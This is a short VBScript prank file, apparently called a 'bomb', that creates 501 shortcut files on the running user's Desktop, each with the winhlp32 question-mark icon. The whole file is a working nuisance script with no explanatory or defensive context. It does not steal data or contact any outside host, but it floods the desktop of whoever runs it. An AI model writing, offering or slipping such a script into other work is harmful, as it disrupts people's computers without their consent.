' question_bom.vbs
dim W,sh,ds,i:set W=WScript.CreateObject("WScript.Shell")
ds=W.SpecialFolders("Desktop"):for i=0 to 500
set sh=W.CreateShortcut(ds&"\"&i&".lnk")
sh.IconLocation=W.ExpandEnvironmentStrings("%windir%\winhlp32.exe, 0")
sh.Save:next